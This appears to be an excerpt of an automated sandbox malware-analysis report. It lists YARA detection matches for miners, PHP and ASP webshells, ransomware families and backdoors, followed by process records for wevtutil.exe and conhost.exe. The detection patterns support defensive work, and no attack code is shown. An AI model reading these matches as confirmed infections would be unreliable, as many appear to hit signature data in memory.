00000023.00000003.6432490535.0000028BD7D54000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, 
Source: 
00000023.00000003.6432490535.0000028BD7D54000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 
00000023.00000003.6432490535.0000028BD7D54000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: PowerShell_Susp_Parameter_Combo, Description: Detects PowerShell invocation 
with suspicious parameters, Source: 
00000023.00000003.6290963131.0000028BD73CB000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Growtopia, Description: Yara detected Growtopia, Source: 
00000023.00000003.6290963131.0000028BD73CB000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: webshell_php_gzinflated, Description: PHP webshell which directly eval()s 
obfuscated string, Source: 
00000023.00000003.6311571113.0000028BD79D4000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: webshell_php_dynamic_big, Description: PHP webshell using $a($code) for kind of 
eval with encoded blob to decode, e.g. b374k, Source: 
00000023.00000003.6311571113.0000028BD79D4000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: webshell_php_by_string_obfuscation, Description: PHP file containing obfuscation 
strings. Might be legitimate code obfuscated for whatever reasons, a webshell or can be 
used to insert malicious Javascript for credit card skimming, Source: 
00000023.00000003.6311571113.0000028BD79D4000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.6311571113.0000028BD79D4000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: SUSP_Script_Obfuscation_Char_Concat, Description: Detects strings found in 
sample from CN group repo leak in October 2018, Source: 
00000023.00000003.6438436558.0000028BD7597000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: PowerShell_Susp_Parameter_Combo, Description: Detects PowerShell invocation 
with suspicious parameters, Source: 
00000023.00000003.6438436558.0000028BD7597000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_cerber, Description: Yara detected Cerber ransomware, Source: 
00000023.00000003.6438436558.0000028BD7597000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Clop, Description: Yara detected Clop Ransomware, Source: 
00000023.00000003.6438436558.0000028BD7597000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Nemty, Description: Yara detected Nemty Ransomware, Source: 
00000023.00000003.6438436558.0000028BD7597000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.6323124773.0000028BD67F0000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: HackTool_MSIL_SharPersist_2, Description: unknown, Source: 
00000023.00000003.6304347628.0000028BD6F26000.00000004.00000001.sdmp, 
Author: FireEye
Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, 
Source: 
00000023.00000003.6296311842.0000028BD60E4000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.6296311842.0000028BD60E4000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: APT_MAL_Sandworm_Exaramel_Configuration_Key, Description: Detects the 
encryption key for the configuration file used by Exaramel malware as seen in sample 
e1ff72[..., Source: 
00000023.00000003.6310027848.0000028BD8082000.00000004.00000001.sdmp, 
Author: FR/ANSSI/SDO
Rule: webshell_php_gzinflated, Description: PHP webshell which directly eval()s 
obfuscated string, Source: 
00000023.00000003.6310027848.0000028BD8082000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, 
Source: 
00000023.00000003.6310027848.0000028BD8082000.00000004.00000001.sdmp, 
Author: Florian Roth
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Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded 
code that has been base64 encoded, Source: 
00000023.00000003.6310027848.0000028BD8082000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 
00000023.00000003.6310027848.0000028BD8082000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.6310027848.0000028BD8082000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: webshell_php_generic, Description: php webshell having some kind of input and 
some kind of payload. restricted to small files or big ones inclusing suspicious strings, 
Source: 
00000023.00000003.6430632622.0000028BD7C8D000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: webshell_asp_generic_eval_on_input, Description: Generic ASP webshell which 
uses any eval/exec function directly on user input, Source: 
00000023.00000003.6430632622.0000028BD7C8D000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: PowerShell_Susp_Parameter_Combo, Description: Detects PowerShell invocation 
with suspicious parameters, Source: 
00000023.00000003.6430632622.0000028BD7C8D000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: Oilrig_IntelSecurityManager_macro, Description: Detects OilRig malware, Source: 
00000023.00000003.6430632622.0000028BD7C8D000.00000004.00000001.sdmp, 
Author: Eyal Sela (slightly modified by Florian Roth)
Rule: JoeSecurity_Cobra_Locker, Description: Yara detected Cobra Locker ransomware, 
Source: 
00000023.00000003.6430632622.0000028BD7C8D000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, 
Source: 
00000023.00000003.6318490215.0000028BD7B02000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_bitcoinminer, Description: Yara detected BitCoin Miner, Source: 
00000023.00000003.6318490215.0000028BD7B02000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, 
Source: 
00000023.00000003.6344793289.0000028BD7B02000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_bitcoinminer, Description: Yara detected BitCoin Miner, Source: 
00000023.00000003.6344793289.0000028BD7B02000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: Pupy_Backdoor, Description: Detects Pupy backdoor, Source: 
00000023.00000003.6292138132.0000028BD80C5000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, 
Source: 
00000023.00000003.6292138132.0000028BD80C5000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura 
Assembly Loader, Source: 
00000023.00000003.6292138132.0000028BD80C5000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: webshell_asp_generic_eval_on_input, Description: Generic ASP webshell which 
uses any eval/exec function directly on user input, Source: 
00000023.00000003.6299498937.0000028BD6FED000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.6299498937.0000028BD6FED000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Njrat, Description: Yara detected Njrat, Source: 
00000023.00000003.6277926837.0000028BD7CD1000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: APT_Backdoor_Win_GoRat_Memory, Description: Identifies GoRat malware in 
memory based on strings., Source: 
00000023.00000003.6282034966.0000028BD78B0000.00000004.00000001.sdmp, 
Author: FireEye
Rule: webshell_asp_generic_eval_on_input, Description: Generic ASP webshell which 
uses any eval/exec function directly on user input, Source: 
00000023.00000003.6333790916.0000028BD7708000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: webshell_asp_generic, Description: Generic ASP webshell which uses any 
eval/exec function indirectly on user input or writes a file, Source: 
00000023.00000003.6333790916.0000028BD7708000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.6333790916.0000028BD7708000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, 
Source: 
00000023.00000003.6282961298.0000028BD6AC6000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 
00000023.00000003.6282961298.0000028BD6AC6000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.6282961298.0000028BD6AC6000.00000004.00000001.sdmp, 
Author: Joe Security
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Rule: webshell_php_gzinflated, Description: PHP webshell which directly eval()s 
obfuscated string, Source: 
00000023.00000003.6418803000.0000028BD6E91000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded 
code that has been base64 encoded, Source: 
00000023.00000003.6418803000.0000028BD6E91000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.6418803000.0000028BD6E91000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: webshell_php_gzinflated, Description: PHP webshell which directly eval()s 
obfuscated string, Source: 
00000023.00000003.6423203923.0000028BD6EA1000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded 
code that has been base64 encoded, Source: 
00000023.00000003.6423203923.0000028BD6EA1000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.6423203923.0000028BD6EA1000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: webshell_php_gzinflated, Description: PHP webshell which directly eval()s 
obfuscated string, Source: 
00000023.00000003.6399846790.0000028BD6EA1000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded 
code that has been base64 encoded, Source: 
00000023.00000003.6399846790.0000028BD6EA1000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.6399846790.0000028BD6EA1000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: webshell_php_gzinflated, Description: PHP webshell which directly eval()s 
obfuscated string, Source: 
00000023.00000003.6342575052.0000028BD6369000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: webshell_php_by_string_known_webshell, Description: Known PHP Webshells 
which contain unique strings, lousy rule for low hanging fruits. Most are catched by other 
rules in here but maybe these catch different versions., Source: 
00000023.00000003.6342575052.0000028BD6369000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: Oilrig_IntelSecurityManager, Description: Detects OilRig malware, Source: 
00000023.00000003.6342575052.0000028BD6369000.00000004.00000001.sdmp, 
Author: Eyal Sela
Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, 
Source: 
00000023.00000003.6342575052.0000028BD6369000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 
00000023.00000003.6342575052.0000028BD6369000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Winexe_tool, Description: Yara detected Winexe tool, Source: 
00000023.00000003.6342575052.0000028BD6369000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.6342575052.0000028BD6369000.00000004.00000001.sdmp, 
Author: Joe Security

Antivirus matches: Detection: 0%, Metadefender, Browse
Detection: 0%, ReversingLabs

Reputation: moderate

Show Windows behavior

File CreatedFile Created

File WrittenFile Written

File ReadFile Read

Analysis Process: wevtutil.exe PID: 1568 Parent PID: 3224Analysis Process: wevtutil.exe PID: 1568 Parent PID: 3224

General
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Start time: 16:42:21

Start date: 12/10/2021

Path: C:\Windows\System32\wevtutil.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\wevtutil.exe uninstall-manifest C:\Windows\TEMP\03B8EEFF-063F-
7FBE-74AE-B9DD32097DDC.man

Imagebase: 0x7ff784010000

File size: 291840 bytes

MD5 hash: C57C1292650B6384903FE6408D412CFA

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: moderate

Show Windows behavior

Start time: 16:42:21

Start date: 12/10/2021

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Imagebase: 0x7ff63a230000

File size: 875008 bytes

MD5 hash: 81CA40085FC75BABD2C91D18AA9FFA68

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: moderate

File ActivitiesFile Activities

Registry ActivitiesRegistry Activities

Start time: 16:42:22

Start date: 12/10/2021

Path: C:\Windows\System32\wevtutil.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\wevtutil.exe install-manifest C:\Windows\TEMP\03B8EEFF-063F-
7FBE-74AE-B9DD32097DDC.man '/resourceFilePath:C:\ProgramData\Microsoft\Windows D
efender\Definition Updates\StableEngineEtwLocation\mpengine_etw.dll' '/messageFilePath:C:\
ProgramData\Microsoft\Windows Defender\Definition Updates\StableEngineEtwLocatio
n\mpengine_etw.dll' '/parameterFilePath:C:\ProgramData\Microsoft\Windows Defender\Definiti
on Updates\StableEngineEtwLocation\mpengine_etw.dll'

Imagebase: 0x7ff784010000

File size: 291840 bytes

MD5 hash: C57C1292650B6384903FE6408D412CFA

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: moderate

Show Windows behavior

Show Windows behavior

Analysis Process: conhost.exe PID: 8996 Parent PID: 1568Analysis Process: conhost.exe PID: 8996 Parent PID: 1568

General

Analysis Process: wevtutil.exe PID: 3992 Parent PID: 3224Analysis Process: wevtutil.exe PID: 3992 Parent PID: 3224

General

Key Value CreatedKey Value Created
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Start time: 16:42:22

Start date: 12/10/2021

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Imagebase: 0x7ff63a230000

File size: 875008 bytes

MD5 hash: 81CA40085FC75BABD2C91D18AA9FFA68

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: moderate

Analysis Process: conhost.exe PID: 3892 Parent PID: 3992Analysis Process: conhost.exe PID: 3892 Parent PID: 3992

General
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